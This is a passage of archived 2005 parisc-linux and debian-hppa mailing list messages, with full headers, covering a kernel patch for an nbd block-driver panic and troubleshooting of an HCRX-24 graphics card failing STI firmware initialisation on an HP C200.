User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DqjhYzULeSEkXr6WZHQhaXN1IGRvbwBR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25217

On Sun, Dec 04, 2005 at 08:27:10PM +0100, Guy Martin wrote:
> If you read from a nbd device (b 43 0) you got a kernel panic (attached).
...
> Please have a look at the attached diff which is certainly not perfect
> but which is a good start :)

Yeah, seems like each "block driver" needs to call blk_queue_bounce_limit().
IDE and SCSI lib support do it on behalf of their subsystems.

> --- ../linux.orig/drivers/block/nbd.c	2005-09-05 20:05:01.000000000 +0200
> +++ drivers/block/nbd.c	2005-12-04 18:56:51.000000000 +0100
> @@ -665,6 +665,7 @@
>  		 * These structs are big so we dynamically allocate them.
>  		 */
>  		disk->queue = blk_init_queue(do_nbd_request, &nbd_lock);
> +		blk_queue_bounce_limit(disk->queue, BLK_BOUNCE_ANY);
>  		if (!disk->queue) {

blk_queue_bounce_limit() wants to be called *after* checking
the disk->queue ptr is valid. :)

Calling blk_queue_bounce_limit() sugests max_low_pn needs to be set.
Would the following patch properly set max_low_pfn?
I've stared at various bits of code for the past hour or two and
still aren't sure how this is really supposed to be used.

grant


Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.22
diff -u -p -r1.22 init.c
--- arch/parisc/mm/init.c	12 Nov 2005 04:06:42 -0000	1.22
+++ arch/parisc/mm/init.c	5 Dec 2005 05:12:57 -0000
@@ -300,6 +300,13 @@ static void __init setup_bootmem(void)
 			max_pfn = start_pfn + npages;
 	}
 
+	/* IOMMU is always used to access "high mem" on those boxes
+	 * that can support enough mem that a PCI device couldn't
+	 * directly DMA to any physical addresses.
+	 * ISA DMA support will need to revisit this.
+	 */
+	max_low_pfn = max_pfn;
+
 	if ((bootmap_pfn - bootmap_start_pfn) != bootmap_pages) {
 		printk(KERN_WARNING "WARNING! bootmap sizing is messed up!\n");
 		BUG();
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 7 Dec 2005 11:01:30 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20051207180130.GB11417__6591.86730995334$1416624571$gmane$org@colo.lackof.org>
References: <43971676.1010009@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624571 27393 80.91.229.3 (22 Nov 2014 02:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:31 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Fabio Bizzi <fbizzi@gmail.com>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 17:53:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 07 Dec 2005 18:53:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D5C57D6B0;
	Wed,  7 Dec 2005 10:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03198-09; Wed, 7 Dec 2005 10:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 610077D6C8;
	Wed,  7 Dec 2005 10:53:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A7417D695
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 10:53:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03293-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 10:53:13 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BCE417D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 10:53:13 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 85A8F494054; Wed,  7 Dec 2005 10:53:13 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 3F59449400D
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Dec 2005 10:53:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 27C99298026;
	Wed,  7 Dec 2005 11:01:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14509-03; Wed, 7 Dec 2005 11:01:30 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B99B8298013; Wed,  7 Dec 2005 11:01:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <43971676.1010009@gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: w0TlY4YJeSEkX76WZHQhaXN1IGRvb4DA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25218

On Wed, Dec 07, 2005 at 06:05:58PM +0100, Fabio Bizzi wrote:
> Hi Everybody!   :)
> 
> Yesterday I've got a monitor and I've connected it to my C200.
> At the boot I've selectet 1280x1024@75Hz VESA and the screen is 
> correctly displayed.
> The Graphic adapter is an HCRX-24 (A4071B) on GSC.
> The distribution is a Sarge with etch kernel 2.6.12-1
> The system boots correctly, but no one consolle is displayed on the 
> monitor only a blank screen (no other problems), I've checked inittab 
> and it's ok with all the consoles started!
> Here some DMESG output:
> 
> Kernel command line: root=/dev/sda5 HOME=/ console=tty0 sti=8/4 
> sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
> 
> 14. Coral SGC Graphics at 0xf8000000 [10/8] { 10, 0x0, 0x004, 0x00077 }
> 
> STI GSC/PCI core graphics driver Version 0.9a
>     id 2bcb015a-9a02587, conforms to spec rev. 8.04
> STI init_graph failed (ret -1, errno 258)
> sti: probe of 10:8 failed with error 1

This has never worked and I don't know why.
See:
	http://lists.debian.org/debian-hppa/2003/10/msg00073.html
	http://lists.debian.org/debian-hppa/2005/02/msg00120.html

> Complete dmesg is attached.
> 
> I've also tried to change boot args in palo from sti=8/4 to sti=10/0 but 
>  it didin't worked!

I've previously asserted one does NOT need the sti= parameter if
there is only gfx card in the system and it's being used as the
firmware console. I don't know if that's still true.

> At Parisc-Linux Hardware Database is reported that Coral SGC Graphics is 
> supported and the version is the same "0x0,0x4,0x77" 
> (http://hwdb.parisc-linux.org/view.php?type=padevice&name=Coral%20SGC%20Graphics)
> 
> So, why this damned kernel does not initialize it? :)

STI firmware is failing to initialize itself, not the kernel
initializing the card.

> P.S. I've experienced some mail server problems, i'm sorry for eventual 
> duouble posts!

Double would have been nice. ;)
Next time, check the mailing list archives to determine if a particular
email reached the list(s).

ciao,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <fbizzi@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 07 Dec 2005 19:03:52 +0100
Organization: gmail.com
Lines: 41
Approved: news@gmane.org
Message-ID: <43972408.1020708__36936.7797779434$1416624571$gmane$org@gmail.com>
References: <43971676.1010009@gmail.com> <20051207180130.GB11417@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624571 27394 80.91.229.3 (22 Nov 2014 02:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 18:04:13 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx043) with SMTP; 07 Dec 2005 19:04:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7804E2DF29; Wed,  7 Dec 2005 12:04:08 -0600 (CST)
Old-Return-Path: <fbizzi@gmail.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by murphy.debian.org (Postfix) with ESMTP id 89F1B2DE03
	for <debian-hppa@lists.debian.org>; Wed,  7 Dec 2005 12:04:02 -0600 (CST)
Original-Received: by wproxy.gmail.com with SMTP id 57so420478wri
        for <debian-hppa@lists.debian.org>; Wed, 07 Dec 2005 10:04:05 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
        s=beta; d=gmail.com;
        h=received:message-id:date:from:organization:user-agent:x-accept-language:mime-version:to:cc:subject:references:in-reply-to:content-type:content-transfer-encoding;
        b=P3/lXIZcq7FXEbjy6FxctH4vov/suDQ+u9zXmacFUyh2YleNRoRBzwfCZpdDtf6aMF+vWvl8R+jLooR1KjupgZ6ZCQe0J0jV/VRZNxj1ftmn+Ls88cHNW6ztry0xxx8rIDCgkoBOc7g8XHkT8hHFexqq3myEmkL0JO147yOdreQ=
Original-Received: by 10.65.250.3 with SMTP id c3mr2017269qbs;
        Wed, 07 Dec 2005 10:04:03 -0800 (PST)
Original-Received: from ?213.213.72.248? ( [213.213.72.248])
        by mx.gmail.com with ESMTP id p4sm972518qba.2005.12.07.10.04.00;
        Wed, 07 Dec 2005 10:04:02 -0800 (PST)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <20051207180130.GB11417@colo.lackof.org>
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-3.7 required=4.0 tests=AWL,LDOSUBSCRIBER,RCVD_BY_IP 
	autolearn=no version=3.0.3
Resent-Message-ID: <uBK90D.A.S3C.YQylDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4978
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  7 Dec 2005 12:04:08 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: SUHlY7oqeSEkWb6WZHQhaXN1IGRvbwCw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25219

Grant Grundler wrote:
> This has never worked and I don't know why.
> See:
> 	http://lists.debian.org/debian-hppa/2003/10/msg00073.html
> 	http://lists.debian.org/debian-hppa/2005/02/msg00120.html

Thank You Grant, helpfully as usual. :)
Please, can you suggest to me any video card that is working on a C200 
with linux (24 bpp)?

> STI firmware is failing to initialize itself, not the kernel
> initializing the card.

I'm bit confused about it, what do you mean with "the firmware is 
failing to initialize itself"?

>>P.S. I've experienced some mail server problems, i'm sorry for eventual 
>>duouble posts!
> 
> 
> Double would have been nice. ;)
> Next time, check the mailing list archives to determine if a particular
> email reached the list(s).
> 

I'm really sorry for this annoyng issue, next time I'll do as you suggested.

I've asked some help to the list owner.

Thank you again!

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 7 Dec 2005 11:35:30 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20051207183530.GC11417__44073.8291982145$1416624571$gmane$org@colo.lackof.org>
References: <43971676.1010009@gmail.com>
	<20051207180130.GB11417@colo.lackof.org>
	<43972408.1020708@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624571 27401 80.91.229.3 (22 Nov 2014 02:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:31 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Fabio Bizzi <fbizzi@gmail.com>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 18:27:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 07 Dec 2005 19:27:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 486487D70C;
	Wed,  7 Dec 2005 11:27:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03804-05; Wed, 7 Dec 2005 11:27:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 312BB7D70D;
	Wed,  7 Dec 2005 11:27:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ECF17D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 11:27:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03804-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 11:27:13 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B32157D709
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 11:27:13 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A8F61494054; Wed,  7 Dec 2005 11:27:13 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 7B10449400D
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Dec 2005 11:27:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 69E67360003;
	Wed,  7 Dec 2005 11:35:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18506-01; Wed, 7 Dec 2005 11:35:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 03C95360001; Wed,  7 Dec 2005 11:35:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <43972408.1020708@gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2kzlY7wQeSEkIr6WZHQhaXN1IGRvb4Ck
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25220

On Wed, Dec 07, 2005 at 07:03:52PM +0100, Fabio Bizzi wrote:
> >STI firmware is failing to initialize itself, not the kernel
> >initializing the card.
> 
> I'm bit confused about it, what do you mean with "the firmware is 
> failing to initialize itself"?

STI is a seperate firmware from PDC and IODC. We have to invoke
the initializaton functions from the OS to get it started.
I'm not STI expert though. And we do have public documentation
for STI that you are "encouraged" to read :^)

	http://ftp.parisc-linux.org/docs/arch/sti.pdf

And sorry, I don't know offhand if any 24bpp graphics cards will work.
Perhaps some are listed in the parisc graphics FAQ or
http://wiki.parisc-linux.org/.

> I'm really sorry for this annoyng issue, next time I'll do as you suggested.

It's not that bad...don't lose any sleep over it.

> Thank you again!

welcome.

ciao!
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HCRX-24 and missing consoles on my C200
Date: Wed, 7 Dec 2005 13:29:13 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20051207182913.GB32168__10719.6857141846$1416624571$gmane$org@quicksilver.road.mcmartin.ca>
References: <43971676.1010009@gmail.com>
	<20051207180130.GB11417@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624571 27403 80.91.229.3 (22 Nov 2014 02:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:31 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Dec 2005 18:29:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 07 Dec 2005 19:29:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 765B87D71C;
	Wed,  7 Dec 2005 11:29:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04271-01; Wed, 7 Dec 2005 11:29:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0B987D716;
	Wed,  7 Dec 2005 11:29:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3031B7D714
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 11:29:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03804-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Dec 2005 11:29:27 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A4FA37D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Dec 2005 11:29:27 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 7598F494054; Wed,  7 Dec 2005 11:29:27 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id 3CF5349400D;
	Wed,  7 Dec 2005 11:29:27 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 551A617088;
	Wed,  7 Dec 2005 13:29:25 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18447-09; Wed, 7 Dec 2005 13:29:25 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 1105117083;
	Wed,  7 Dec 2005 13:29:25 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 0FAED3B059; Wed,  7 Dec 2005 13:29:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20051207180130.GB11417@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QU/lYyRXeSEkZr6WZHQhaXN1IGRvb4Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25221

On Wed, Dec 07, 2005 at 11:01:30AM -0700, Grant Grundler wrote:
> > STI GSC/PCI core graphics driver Version 0.9a
> >     id 2bcb015a-9a02587, conforms to spec rev. 8.04
> > STI init_graph failed (ret -1, errno 258)
> > sti: probe of 10:8 failed with error 1
>

Someone should probably turn on debugging. Edit
drivers/video/sticore.h and change the initial #if 0 to #if 1 and
rebuild and boot.

As far as I know, this is failing the initial call to STI init_graph,
I suspect either it doesn't like the default init values, or something
is not quite right when setting up the glob_cfg. As I understand it,
we set up the glob_cfg structures with nothing but the region pointers,
and then call init_graph to set up the rest of the context which is passed
between every further called STI function.

Or the STI rom is completely broken on this card and HP-UX uses software
instead of the firmware routines.

I think I have a HCRX here (A4070 with A4072), I can try and fix this
but not until at least January.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
